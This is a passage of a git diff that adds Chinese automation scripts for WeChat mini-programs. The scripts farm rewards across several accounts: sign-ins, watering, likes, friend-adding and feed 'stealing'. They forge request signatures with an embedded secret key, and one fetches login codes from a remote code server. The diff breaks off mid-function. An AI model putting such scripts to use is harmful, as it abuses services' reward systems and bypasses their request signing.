Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129', + }, + data: { + + "openId": user.openId, + "timestamp": timestamp, + "sign": sign, + + } + }; + //console.log(urlObject); + let { data: result} = await axios.request(urlObject) + if (result?.state == true) { + //打印签到结果 + DoubleLog(`🌸账号[${user.index}]` + `🕊任务分享领水滴-领取成功${result.msg}🎉`); + }else{ + DoubleLog(`🌸账号[${user.index}]任务分享领水滴-失败:${result.msg}❌`) + } + + } catch (e) { + //打印错误信息 + console.log('以下是报错输出:'); + console.log(e.response.data); + } +} +//浇水 +async function Watering(user) { + try { + let timestamp = getTimestamp(); + let sign = md5(`timestamp=${timestamp}&openid=${user.openId}&key=JDEMaxwellminiapp#2021!`).toUpperCase(); + let urlObject = { + method: 'post', + url: 'https://jde.mtbcpt.com/api/JDEMaxwellApi/UserWatering', + headers: { + 'Host': 'jde.mtbcpt.com', + 'content-type': 'application/json', + 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129', + }, + data: { + + "openId": user.openId, + "timestamp": timestamp, + "sign": sign, + + } + }; + //console.log(urlObject); + let { data: result} = await axios.request(urlObject) + if (result?.state == true) { + //打印签到结果 + DoubleLog(`🌸账号[${user.index}]` + `🕊浇水-成功${result.msg}🎉`); + }else{ + DoubleLog(`🌸账号[${user.index}]浇水-失败:${result.msg}❌`) + } + + } catch (e) { + //打印错误信息 + console.log('以下是报错输出:'); + console.log(e.response.data); + } +} +async function GetUserPoint(user) { + try { + let timestamp = getTimestamp(); + let sign = md5(`timestamp=${timestamp}&openid=${user.openId}&key=JDEMaxwellminiapp#2021!`).toUpperCase(); + let urlObject = { + method: 'post', + url: 'https://jde.mtbcpt.com/api/JDEMWMall/GetUserPoint', + headers: { + 'Host': 'jde.mtbcpt.com', + 'content-type': 'application/json', + 'user-agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/116.0.0.0 Safari/537.36 MicroMessenger/7.0.20.1781(0x6700143B) NetType/WIFI MiniProgramEnv/Windows WindowsWechat/WMPF WindowsWechat(0x63090b11) XWEB/9129', + }, + data: { + + "openId": user.openId, + "timestamp": timestamp, + "sign": sign, + + } + }; + //console.log(urlObject); + let { data: result} = await axios.request(urlObject) + if (result?.state == true) { + //打印签到结果 + DoubleLog(`🌸账号[${user.index}]` + `🕊${result.msg}为[${result.data}]💰`); + }else{ + DoubleLog(`🌸账号[${user.index}]积分查询失败:${result.msg}❌`) + } + + } catch (e) { + //打印错误信息 + console.log('以下是报错输出:'); + console.log(e.response.data); + } +} +/** + * =========================================================发送消息============================================= + */ +async function SendMsg(message) { + if (!message) return; + if (Notify > 0) { + if ($.isNode()) { + var notify = require("./sendNotify"); + await notify.sendNotify($.name, message); + } else { + // $.msg(message); + $.msg($.name, '', message) + } + } else { + console.log(message); + } +} +/** + * =====================================================双平台log输出========================================== + */ +function DoubleLog(data) { + if ($.isNode()) { + if (data) { + console.log(`${data}`); + msg += `\n${data}`; + } + } else { + console.log(`${data}`); + msg += `\n${data}`; + } + +} +/** +* ======================================================等待 X 秒============================================ +*/ +function wait(n) { + return new Promise(function (resolve) { + setTimeout(resolve, n * 1000); + }); +} +/** +* ======================================================随机等待 1-5 秒============================================ +*/ +function sjwait() { + return new Promise(function (resolve) { + let waitTime = Math.floor(Math.random() * 4000 + 1000); + setTimeout(resolve, waitTime); + }); +} +// ==========================================================13位时间戳===================================================== +function getTimestamp() { + return new Date().getTime(); +} +//===============================================网络请求httpRequest========================================= +function httpRequest(options, timeout = 1 * 1000) { + method = options.method ? options.method.toLowerCase() : options.body ? "post" : "get"; + return new Promise(resolve => { + setTimeout(() => { + $[method](options, (err, resp, data) => { + try { + if (err) { + console.log(JSON.stringify(err)); + $.logErr(err); + } else { + try { data = JSON.parse(data); } catch (error) { } + } + } catch (e) { + console.log(e); + $.logErr(e, resp); + } finally { + resolve(data); + } + }) + }, timeout) + }) +} +//==============================================Debug模式=============================================== +function debugLog(...args) { + if (debug) { + console.log(...args); + } +} +//===============================================获取远程通知======================================== +async function getNotice() { + try { + const urls = [ + "http://tfapi.cn/tl.json", + + ]; + let notice = null; + for (const url of urls) { + const options = { url, headers: { "User-Agent": "" }, }; + const result = await httpRequest(options); + if (result && "notice" in result) { + notice = result.notice.replace(/\\n/g, "\n"); + break; + } + } + if (notice) { $.DoubleLog(notice); } + } catch (e) { + console.log(e); + } +} +//==============================================获取远程版本================================================= +function getVersion(scriptUrl, timeout = 3 * 1000) { + return new Promise((resolve) => { + const options = { url: `https://fastly.jsdelivr.net/gh/${scriptUrl}` }; + $.get(options, (err, resp, data) => { + try { + const regex = /scriptVersionNow\s*=\s*(["'`])([\d.]+)\1/; + const match = data.match(regex); + const scriptVersionLatest = match ? match[2] : ""; + console.log(`\n============= 当前版本:${scriptVersionNow} 🌟 最新版本:${scriptVersionLatest} =============`); + } catch (e) { + $.logErr(e, resp); + } + resolve(); + }, timeout); + }); +} + +//=============================================================================================================================================== +//================================================固定API=============================================================================================== +function Env(t, e) { class s { constructor(t) { this.env = t } send(t, e = "GET") { t = "string" == typeof t ? { url: t } : t; let s = this.get; return ("POST" === e && (s = this.post), new Promise((e, a) => { s.call(this, t, (t, s, r) => { t ? a(t) : e(s) }) })) } get(t) { return this.send.call(this.env, t) } post(t) { return this.send.call(this.env, t, "POST") } } return new (class { constructor(t, e) { this.userList = []; this.userIdx = 0; (this.name = t), (this.http = new s(this)), (this.data = null), (this.dataFile = "box.dat"), (this.logs = []), (this.isMute = !1), (this.isNeedRewrite = !1), (this.logSeparator = "\n"), (this.encoding = "utf-8"), (this.startTime = new Date().getTime()), Object.assign(this, e), this.log("", `🔔${this.name},开始!`) } getEnv() { return "undefined" != typeof $environment && $environment["surge-version"] ? "Surge" : "undefined" != typeof $environment && $environment["stash-version"] ? "Stash" : "undefined" != typeof module && module.exports ? "Node.js" : "undefined" != typeof $task ? "Quantumult X" : "undefined" != typeof $loon ? "Loon" : "undefined" != typeof $rocket ? "Shadowrocket" : void 0 } isNode() { return "Node.js" === this.getEnv() } isQuanX() { return "Quantumult X" === this.getEnv() } isSurge() { return "Surge" === this.getEnv() } isLoon() { return "Loon" === this.getEnv() } isShadowrocket() { return "Shadowrocket" === this.getEnv() } isStash() { return "Stash" === this.getEnv() } toObj(t, e = null) { try { return JSON.parse(t) } catch { return e } } toStr(t, e = null) { try { return JSON.stringify(t) } catch { return e } } getjson(t, e) { let s = e; const a = this.getdata(t); if (a) try { s = JSON.parse(this.getdata(t)) } catch { } return s } setjson(t, e) { try { return this.setdata(JSON.stringify(t), e) } catch { return !1 } } getScript(t) { return new Promise((e) => { this.get({ url: t }, (t, s, a) => e(a)) }) } runScript(t, e) { return new Promise((s) => { let a = this.getdata("@chavy_boxjs_userCfgs.httpapi"); a = a ? a.replace(/\n/g, "").trim() : a; let r = this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout"); (r = r ? 1 * r : 20), (r = e && e.timeout ? e.timeout : r); const [i, o] = a.split("@"), n = { url: `http://${o}/v1/scripting/evaluate`, body: { script_text: t, mock_type: "cron", timeout: r }, headers: { "X-Key": i, Accept: "*/*" }, timeout: r, }; this.post(n, (t, e, a) => s(a)) }).catch((t) => this.logErr(t)) } loaddata() { if (!this.isNode()) return {}; { (this.fs = this.fs ? this.fs : require("fs")), (this.path = this.path ? this.path : require("path")); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), a = !s && this.fs.existsSync(e); if (!s && !a) return {}; { const a = s ? t : e; try { return JSON.parse(this.fs.readFileSync(a)) } catch (t) { return {} } } } } writedata() { if (this.isNode()) { (this.fs = this.fs ? this.fs : require("fs")), (this.path = this.path ? this.path : require("path")); const t = this.path.resolve(this.dataFile), e = this.path.resolve(process.cwd(), this.dataFile), s = this.fs.existsSync(t), a = !s && this.fs.existsSync(e), r = JSON.stringify(this.data); s ? this.fs.writeFileSync(t, r) : a ? this.fs.writeFileSync(e, r) : this.fs.writeFileSync(t, r) } } lodash_get(t, e, s) { const a = e.replace(/\[(\d+)\]/g, ".$1").split("."); let r = t; for (const t of a) if (((r = Object(r)[t]), void 0 === r)) return s; return r } lodash_set(t, e, s) { return Object(t) !== t ? t : (Array.isArray(e) || (e = e.toString().match(/[^.[\]]+/g) || []), (e.slice(0, -1).reduce((t, s, a) => Object(t[s]) === t[s] ? t[s] : (t[s] = Math.abs(e[a + 1]) >> 0 == +e[a + 1] ? [] : {}), t)[e[e.length - 1]] = s), t) } getdata(t) { let e = this.getval(t); if (/^@/.test(t)) { const [, s, a] = /^@(.*?)\.(.*?)$/.exec(t), r = s ? this.getval(s) : ""; if (r) try { const t = JSON.parse(r); e = t ? this.lodash_get(t, a, "") : e } catch (t) { e = "" } } return e } setdata(t, e) { let s = !1; if (/^@/.test(e)) { const [, a, r] = /^@(.*?)\.(.*?)$/.exec(e), i = this.getval(a), o = a ? ("null" === i ? null : i || "{}") : "{}"; try { const e = JSON.parse(o); this.lodash_set(e, r, t), (s = this.setval(JSON.stringify(e), a)) } catch (e) { const i = {}; this.lodash_set(i, r, t), (s = this.setval(JSON.stringify(i), a)) } } else s = this.setval(t, e); return s } getval(t) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": return $persistentStore.read(t); case "Quantumult X": return $prefs.valueForKey(t); case "Node.js": return (this.data = this.loaddata()), this.data[t]; default: return (this.data && this.data[t]) || null } } setval(t, e) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": return $persistentStore.write(t, e); case "Quantumult X": return $prefs.setValueForKey(t, e); case "Node.js": return ((this.data = this.loaddata()), (this.data[e] = t), this.writedata(), !0); default: return (this.data && this.data[e]) || null } } initGotEnv(t) { (this.got = this.got ? this.got : require("got")), (this.cktough = this.cktough ? this.cktough : require("tough-cookie")), (this.ckjar = this.ckjar ? this.ckjar : new this.cktough.CookieJar()), t && ((t.headers = t.headers ? t.headers : {}), void 0 === t.headers.Cookie && void 0 === t.cookieJar && (t.cookieJar = this.ckjar)) } get(t, e = () => { }) { switch ((t.headers && (delete t.headers["Content-Type"], delete t.headers["Content-Length"], delete t.headers["content-type"], delete t.headers["content-length"]), this.getEnv())) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: this.isSurge() && this.isNeedRewrite && ((t.headers = t.headers || {}), Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient.get(t, (t, s, a) => { !t && s && ((s.body = a), (s.statusCode = s.status ? s.status : s.statusCode), (s.status = s.statusCode)), e(t, s, a) }); break; case "Quantumult X": this.isNeedRewrite && ((t.opts = t.opts || {}), Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then((t) => { const { statusCode: s, statusCode: a, headers: r, body: i, bodyBytes: o, } = t; e(null, { status: s, statusCode: a, headers: r, body: i, bodyBytes: o, }, i, o) }, (t) => e((t && t.error) || "UndefinedError")); break; case "Node.js": let s = require("iconv-lite"); this.initGotEnv(t), this.got(t).on("redirect", (t, e) => { try { if (t.headers["set-cookie"]) { const s = t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString(); s && this.ckjar.setCookieSync(s, null), (e.cookieJar = this.ckjar) } } catch (t) { this.logErr(t) } }).then((t) => { const { statusCode: a, statusCode: r, headers: i, rawBody: o, } = t, n = s.decode(o, this.encoding); e(null, { status: a, statusCode: r, headers: i, rawBody: o, body: n, }, n) }, (t) => { const { message: a, response: r } = t; e(a, r, r && s.decode(r.rawBody, this.encoding)) }) } } post(t, e = () => { }) { const s = t.method ? t.method.toLocaleLowerCase() : "post"; switch ((t.body && t.headers && !t.headers["Content-Type"] && !t.headers["content-type"] && (t.headers["content-type"] = "application/x-www-form-urlencoded"), t.headers && (delete t.headers["Content-Length"], delete t.headers["content-length"]), this.getEnv())) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: this.isSurge() && this.isNeedRewrite && ((t.headers = t.headers || {}), Object.assign(t.headers, { "X-Surge-Skip-Scripting": !1 })), $httpClient[s](t, (t, s, a) => { !t && s && ((s.body = a), (s.statusCode = s.status ? s.status : s.statusCode), (s.status = s.statusCode)), e(t, s, a) }); break; case "Quantumult X": (t.method = s), this.isNeedRewrite && ((t.opts = t.opts || {}), Object.assign(t.opts, { hints: !1 })), $task.fetch(t).then((t) => { const { statusCode: s, statusCode: a, headers: r, body: i, bodyBytes: o, } = t; e(null, { status: s, statusCode: a, headers: r, body: i, bodyBytes: o, }, i, o) }, (t) => e((t && t.error) || "UndefinedError")); break; case "Node.js": let a = require("iconv-lite"); this.initGotEnv(t); const { url: r, ...i } = t; this.got[s](r, i).then((t) => { const { statusCode: s, statusCode: r, headers: i, rawBody: o, } = t, n = a.decode(o, this.encoding); e(null, { status: s, statusCode: r, headers: i, rawBody: o, body: n }, n) }, (t) => { const { message: s, response: r } = t; e(s, r, r && a.decode(r.rawBody, this.encoding)) }) } } time(t, e = null) { const s = e ? new Date(e) : new Date(); let a = { "M+": s.getMonth() + 1, "d+": s.getDate(), "H+": s.getHours(), "m+": s.getMinutes(), "s+": s.getSeconds(), "q+": Math.floor((s.getMonth() + 3) / 3), S: s.getMilliseconds(), }; /(y+)/.test(t) && (t = t.replace(RegExp.$1, (s.getFullYear() + "").substr(4 - RegExp.$1.length))); for (let e in a) new RegExp("(" + e + ")").test(t) && (t = t.replace(RegExp.$1, 1 == RegExp.$1.length ? a[e] : ("00" + a[e]).substr(("" + a[e]).length))); return t } queryStr(t) { let e = ""; for (const s in t) { let a = t[s]; null != a && "" !== a && ("object" == typeof a && (a = JSON.stringify(a)), (e += `${s}=${a}&`)) } return (e = e.substring(0, e.length - 1)), e } msg(e = t, s = "", a = "", r) { const i = (t) => { switch (typeof t) { case void 0: return t; case "string": switch (this.getEnv()) { case "Surge": case "Stash": default: return { url: t }; case "Loon": case "Shadowrocket": return t; case "Quantumult X": return { "open-url": t }; case "Node.js": return }case "object": switch (this.getEnv()) { case "Surge": case "Stash": case "Shadowrocket": default: { let e = t.url || t.openUrl || t["open-url"]; return { url: e } } case "Loon": { let e = t.openUrl || t.url || t["open-url"], s = t.mediaUrl || t["media-url"]; return { openUrl: e, mediaUrl: s } } case "Quantumult X": { let e = t["open-url"] || t.url || t.openUrl, s = t["media-url"] || t.mediaUrl, a = t["update-pasteboard"] || t.updatePasteboard; return { "open-url": e, "media-url": s, "update-pasteboard": a, } } case "Node.js": return }default: return } }; if (!this.isMute) switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": default: $notification.post(e, s, a, i(r)); break; case "Quantumult X": $notify(e, s, a, i(r)); break; case "Node.js": }if (!this.isMuteLog) { let t = ["", "==============📣系统通知📣==============",]; t.push(e), s && t.push(s), a && t.push(a), console.log(t.join("\n")), (this.logs = this.logs.concat(t)) } } log(...t) { t.length > 0 && (this.logs = [...this.logs, ...t]), console.log(t.join(this.logSeparator)) } logErr(t, e) { switch (this.getEnv()) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": case "Quantumult X": default: this.log("", `❗️${this.name},错误!`, t); break; case "Node.js": this.log("", `❗️${this.name},错误!`, t.stack) } } wait(t) { return new Promise((e) => setTimeout(e, t)) } DoubleLog(d) { if (this.isNode()) { if (d) { console.log(`${d}`); msg += `\n ${d}` } } else { console.log(`${d}`); msg += `\n ${d}` } } async SendMsg(m) { if (!m) return; if (Notify > 0) { if (this.isNode()) { var notify = require("./sendNotify"); await notify.sendNotify(this.name, m) } else { this.msg(this.name, "", m) } } else { console.log(m) } } done(t = {}) { const e = new Date().getTime(), s = (e - this.startTime) / 1e3; switch ((this.log("", `🔔${this.name},结束!🕛${s}秒`), this.log(), this.getEnv())) { case "Surge": case "Loon": case "Stash": case "Shadowrocket": case "Quantumult X": default: $done(t); break; case "Node.js": process.exit(1) } } })(t, e) } +//Env rewrite:smallfawn Update-time:23-6-30 newAdd:DoubleLog & SendMsg diff --git a/脚本库/微信小程序/抓包版/wcs/2026-05-14_wcs_d9b348ca.js b/脚本库/微信小程序/抓包版/wcs/2026-05-14_wcs_d9b348ca.js new file mode 100644 index 0000000..fcedf75 --- /dev/null +++ b/脚本库/微信小程序/抓包版/wcs/2026-05-14_wcs_d9b348ca.js @@ -0,0 +1,68 @@ +// # Source: https://github.com/smallfawn/QLScriptPublic/blob/main/wxapp/wcs.js +// # Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/wxapp/wcs.js +// # Repo: smallfawn/QLScriptPublic +// # Path: wxapp/wcs.js +// # UploadedAt: 2026-05-14T07:10:35Z +// # SHA256: d9b348cac05cc8da8c9155c9b46a421f1ba392f2982930f6f89d7636709ee6d5 +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + +const axios = require("axios"); +class WeChatCodeServer { + constructor(options) { + this.serverUrl = options.url; + this.appid = options.appid; + this.auth = options.auth; + } + getCode(openid) { + console.log('等待获取code:'); + return new Promise((resolve, reject) => { + axios.post(this.serverUrl + '/wx/code', { appid: this.appid, openid }, { + headers: { + 'auth': this.auth + }, + timeout: 30 * 1000 + }).then(res => { + console.log('获取code成功:'); + resolve(res); + }).catch(err => { + reject(err); + }); + }); + } + + cloudInit(openid) { + console.log('等待云函数初始化:'); + return new Promise((resolve, reject) => { + axios.post(this.serverUrl + '/wx/call/init', { appid: this.appid, openid }, { + headers: { + 'auth': this.auth + }, + timeout: 30 * 1000 + }).then(res => { + console.log('云函数初始化成功:'); + resolve(res); + }).catch(err => { + reject(err); + }); + }); + } + cloudCall(openid) { + console.log('等待云函数调用:'); + return new Promise((resolve, reject) => { + axios.post(this.serverUrl + '/wx/cloud/call', { appid: this.appid, openid }, { + headers: { + 'auth': this.auth + }, + timeout: 30 * 1000 + }).then(res => { + console.log('云函数调用成功:'); + resolve(res); + }).catch(err => { + reject(err); + }); + }); + } +} +module.exports = WeChatCodeServer; \ No newline at end of file diff --git a/脚本库/微信小程序/抓包版/zhanma/2026-05-14_zhanma_b8ab91bd.js b/脚本库/微信小程序/抓包版/zhanma/2026-05-14_zhanma_b8ab91bd.js new file mode 100644 index 0000000..b20926a --- /dev/null +++ b/脚本库/微信小程序/抓包版/zhanma/2026-05-14_zhanma_b8ab91bd.js @@ -0,0 +1,967 @@ +// # Source: https://github.com/smallfawn/QLScriptPublic/blob/main/wxapp/zhanma.js +// # Raw: https://raw.githubusercontent.com/smallfawn/QLScriptPublic/main/wxapp/zhanma.js +// # Repo: smallfawn/QLScriptPublic +// # Path: wxapp/zhanma.js +// # UploadedAt: 2026-05-14T17:47:57+08:00 +// # SHA256: b8ab91bdb567de645e0640663f742f0ec637dd7e96a4b81a517f1f210b566761 +// # Category: 微信小程序/抓包版 +// # Evidence: appid/openid/session_key/encryptedData等小程序字段 +// + + +/** + + * 多账号使用 @ 或者 & 或 新建多个环境变量 + * cron: 12 8 * * * + * safe的值 + */ + +const $ = Env('战马能量星球'); +const notify = $.isNode() ? require('../sendNotify') : ''; // 这里是 node(青龙属于node环境)通知相关的 +const Notify = 0; //0为关闭通知,1为打开通知,未添加 +const debug = 0; //0为关闭调试,1为打开调试,默认为0 +const ganta = 1; //0为关闭饲料互助,1为打开互助,默认为1 +const addFriend = 1; //0为关闭加好友,1为打开加好友,默认为1 +////////////////////////////////////////////////////////////////// +let zmnlxq = process.env.zmnlxq; +let zmnlxqArr = []; +let frinds = []; +let totalAccountsfrinds = []; +let data = ''; +let msg = ''; +let Version = "1.0.0"; +let VersionLatest = ''; +let ok = '' + + +!(async () => { + + if (!(await Envs())) //多账号分割 判断变量是否为空 初步处理多账号 + return; + else { + //await getVersion(); + console.log(``) + console.log(`目前实现功能:日常签到、摸马儿、喂马、偷饲料、分享马儿、喂饲料、互助点赞、完善个人信息`); + + console.log(`\n\n========================================= \n脚本执行 - 北京时间(UTC+8):${new Date( + new Date().getTime() + new Date().getTimezoneOffset() * 60 * 1000 + + 8 * 60 * 60 * 1000).toLocaleString()} \n=========================================\n`); + + console.log(`\n=================== 共找到 ${zmnlxqArr.length} 个账号 ===================`) + if (addFriend) { + for (let index = 0; index < zmnlxqArr.length; index++) { + zmnlxq = zmnlxqArr[index] + console.log('去加好友'); + await $.wait(200); + for (let index2 = 0; index2 < zmnlxqArr.length; index2++) { + if (index != index2) { + await getranklist(true, zmnlxqArr[index2]); + await $.wait(2 * 1000); + } + } + } + } + + for (let index = 0; index < zmnlxqArr.length; index++) { + let num = index + 1 + zmnlxq = zmnlxqArr[index] + console.log(`\n========= 开始【第 ${num} 个账号】执行任务=========\n`) + // data = zmnlxqArr[index].split('&'); + + console.log('开始获取信息'); + await getuser(); + await $.wait(2 * 1000); + + if (ok == 1) { + console.log('开始签到'); + await $.wait(2 * 1000); + await checkin(); + + console.log('查询题库'); + await $.wait(2 * 1000); + await gettiku(); + + console.log('分享任务'); + await getshare(); + await $.wait(2 * 1000); + + console.log('加入排行榜'); + await joinxcx(); + await $.wait(2 * 1000); + + console.log('领取小马儿'); + await getmaer(); + await $.wait(2 * 1000); + + console.log('摸一摸'); + await getmoyimo(); + await $.wait(2 * 1000); + + console.log('马儿分享任务'); + await checkslgift(); + await $.wait(2 * 1000); + + console.log('去喂马'); + await getweima(); + await $.wait(2 * 1000); + + console.log('去点赞'); + await getranklist(); + await $.wait(2 * 1000); + } + } + + if (ganta) { + for (let index = 0; index < zmnlxqArr.length; index++) { + let num = index + 1 + zmnlxq = zmnlxqArr[index] + console.log(`\n========= 开始【第 ${num} 个账号】执行饲料互助=========\n`) + let isCompletedTousiliao = false, isCompletedSongsiliao = false; + for (let num2 = 0; num2 < totalAccountsfrinds.length; num2++) { + await getotherhorseinfo(totalAccountsfrinds[num2]?.id); + if (!isCompletedTousiliao) { + console.log('去偷饲料'); + isCompletedTousiliao = await tousiliao(num2); + await $.wait(2 * 1000); + } + if (!isCompletedSongsiliao) { + console.log('去送饲料'); + isCompletedSongsiliao = await songsiliao(num2); + } + if (isCompletedSongsiliao && isCompletedTousiliao) { + console.log('今日已到上限,无需执行!'); + break; + } + } + } + } + + await SendMsg(msg); // 与发送通知有关系 + } + +})() + .catch((e) => console.log(e)) + .finally(() => $.done()) + +/** + * 获取信息 + * + */ +async function getuser (timeout = 2 * 1000) { + return new Promise((resolve) => { + let url = { + url: `https://zm.t7a.cn/api/getusercenter.php?safe=${zmnlxq}`, + headers: { + 'Host': 'zm.t7a.cn', + 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3235 MMWEBSDK/20220204 Mobile Safari/537.36 MMWEBID/6242 MicroMessenger/8.0.20.2080(0x28001435) Process/appbrand0 WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9' + }, + // body: '', + + } + $.get(url, async (error, response, data) => { + try { + result = JSON.parse(data) + if (result.status == 1) { + ok = 1; + console.log(`用户:${result.nickname}` + `当前能量:${result.nowscore} `); + if (result.isgzhkl == 0) { + console.log('公众号口令任务:未完成' + '\n' + '开始完成任务') + await gzhkl(); + } + if (result.isinfo == 0) { + console.log('完善个人资料:未完成' + '\n' + '开始完成任务') + let tel = await getTel(); + if (tel) { + await saveuserinfo(result.headimgurl, result.nickname, Math.random().toFixed(0), new Date().getFullYear() + '-' + (new Date().getMonth() + 1) + '-' + new Date().getDate(), tel); + } else { + console.log('未授权手机号,无法完善个人资料') + } + } + } else { + + console.log(`信息获取失败请检查`) + + } + + } catch (e) { + console.log(e) + } finally { + resolve(); + } + }, timeout) + }) +} + +/** + * 获取手机号 + * + */ +function getTel (timeout = 2 * 1000) { + return new Promise((resolve) => { + let url = { + url: `https://zm.t7a.cn/api/getuserinfo.php?safe=${zmnlxq}`, + headers: { + 'Host': 'zm.t7a.cn', + 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3235 MMWEBSDK/20220204 Mobile Safari/537.36 MMWEBID/6242 MicroMessenger/8.0.20.2080(0x28001435) Process/appbrand0 WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9' + }, + // body: '', + + } + $.get(url, async (error, response, data) => { + try { + result = JSON.parse(data) + + if (result.status == 1) { + + console.log(result.msg) + + } else { + + console.log(result.msg) + + } + } catch (e) { + console.log(e) + } finally { + resolve(result.tel); + } + }, timeout) + }) +} + +/** + * 签到 + * + */ +function checkin (timeout = 2 * 1000) { + return new Promise((resolve) => { + let url = { + url: `https://zm.t7a.cn/api/checkin.php?safe=${zmnlxq}`, + headers: { + 'Host': 'zm.t7a.cn', + 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3235 MMWEBSDK/20220204 Mobile Safari/537.36 MMWEBID/6242 MicroMessenger/8.0.20.2080(0x28001435) Process/appbrand0 WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9' + }, + // body: '', + + } + $.get(url, async (error, response, data) => { + try { + result = JSON.parse(data) + + if (result.status == 1) { + + console.log(result.msg) + + } else { + + console.log(result.msg) + + } + } catch (e) { + console.log(e) + } finally { + resolve(); + } + }, timeout) + }) +} + +/** + * 小程序添加好友任务 + * + */ +function joinxcx (timeout = 2 * 1000) { + return new Promise((resolve) => { + let url = { + url: `https://zm.t7a.cn/api/joinxcx.php?safe=${zmnlxq}`, + headers: { + 'Host': 'zm.t7a.cn', + 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3235 MMWEBSDK/20220204 Mobile Safari/537.36 MMWEBID/6242 MicroMessenger/8.0.20.2080(0x28001435) Process/appbrand0 WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9' + }, + // body: '', + + } + $.get(url, async (error, response, data) => { + try { + result = JSON.parse(data) + if (result.status == 1) { + console.log('加入排行榜成功!'); + } else { + console.log('加入排行榜:', result.msg) + + } + + } catch (e) { + console.log(e) + } finally { + resolve(); + } + }, timeout) + }) +} + +/** + * 小程序获取好友列表 + * + */ +function getranklist (addFriend = false, fromsafe = '', timeout = 2 * 1000) { + return new Promise((resolve) => { + let url = { + url: `https://zm.t7a.cn/api/getranklist.php?safe=${zmnlxq}&type=1&fromsafe=${fromsafe}`, + headers: { + 'Host': 'zm.t7a.cn', + 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3235 MMWEBSDK/20220204 Mobile Safari/537.36 MMWEBID/6242 MicroMessenger/8.0.20.2080(0x28001435) Process/appbrand0 WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9' + }, + // body: '', + + } + $.get(url, async (error, response, data) => { + try { + result = JSON.parse(data); + if (result.status == 1) { + if (addFriend) { + console.log('添加好友成功'); + } else { + frinds = result?.data?.filter(item => item?.ismy != 1)?.filter(item => item?.id != 0); + totalAccountsfrinds = [...totalAccountsfrinds, ...result?.data?.filter(item => item?.id != 0)]; + notLikedfrinds = frinds?.filter(item => item?.iszan == 0); + console.log('获取到' + frinds?.length + '个好友,其中' + notLikedfrinds?.length + '个可点赞'); + let isCompleteLiked = false; + for (let index = 0; index < notLikedfrinds.length; index++) { + const notLikedfrind = notLikedfrinds[index]; + if (!isCompleteLiked) { + isCompleteLiked = like(notLikedfrind.id) + }; + getotherhorseinfo(notLikedfrind.id); + await $.wait(500); + } + } + } else { + console.log('获取好友失败:', result.msg) + + } + + } catch (e) { + console.log(e) + } finally { + resolve(); + } + }, timeout) + }) +} + +/** + * 小程序加为好友 + * + */ +function getotherhorseinfo (likeUserId, timeout = 2 * 1000) { + return new Promise((resolve) => { + let url = { + url: `https://zm.t7a.cn/api/getotherhorseinfo.php?safe=${zmnlxq}&friendid=${likeUserId}`, + headers: { + 'Host': 'zm.t7a.cn', + 'user-agent': 'Mozilla/5.0 (Linux; Android 10; MI 8 Build/QKQ1.190828.002; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/86.0.4240.99 XWEB/3235 MMWEBSDK/20220204 Mobile Safari/537.36 MMWEBID/6242 MicroMessenger/8.0.20.2080(0x28001435) Process/appbrand0 WeChat/arm64 Weixin NetType/WIFI Language/zh_CN ABI/arm64 miniProgram/wx532ecb3bdaaf92f9' + }, + // body: '', + + } + $.get(url, async (error, response, data) => { + try { + result = JSON.parse(data) + if (result.status == 1) { + console.log('加为饲料互助好友成功!'); + } else { + console.log('加为饲料互助好友失败:', result.msg) + + } + + } catch (e) { + console.log(e) + } finally { + resolve(); + } + }, timeout) + }) +} + +/** + * 小程序点赞 + * + */ +function like (likeUserId, timeout = 2 * 1000) { + let isCompleted = false; + return new Promise((resolve) => { + let url = { + url: 